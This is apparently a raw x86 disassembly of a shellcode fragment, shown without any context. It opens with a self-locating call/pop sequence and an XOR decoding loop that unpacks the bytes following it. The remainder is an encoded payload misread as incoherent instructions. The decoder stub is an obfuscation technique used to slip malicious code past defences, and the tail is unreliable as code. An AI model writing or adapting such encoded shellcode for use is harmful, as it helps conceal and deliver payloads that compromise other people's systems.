call 0x00000005  
pop ebx
mov ecx, ebx
add ebx, 0x1E
xor eax, eax
xor edx, edx
mov al, [ebx]
mov dl, [ecx]
xor al, dl
mov [ebx], al
cmp al, 0x00
jz 0x00000046
add ecx, 0x01
add ebx, 0x01
jmp 0x0000000F
xor edi, edi
mov edi, 0x1C31F9F3
mov bh, 0x44
movs es:[edi], ds:[esi]
movs es:[edi], ds:[esi]
stc 
jnz 0x0000004E
movs es:[edi], ds:[esi]
out 0x75, al
adc ah, [ecx+0x1]
add al, 0xE7
movs es:[edi], ds:[esi]
bound ebp, esp
cmps ds:[esi], es:[edi]
pop edx
add [eax], al
sbb [edx+edi], ebx
int3 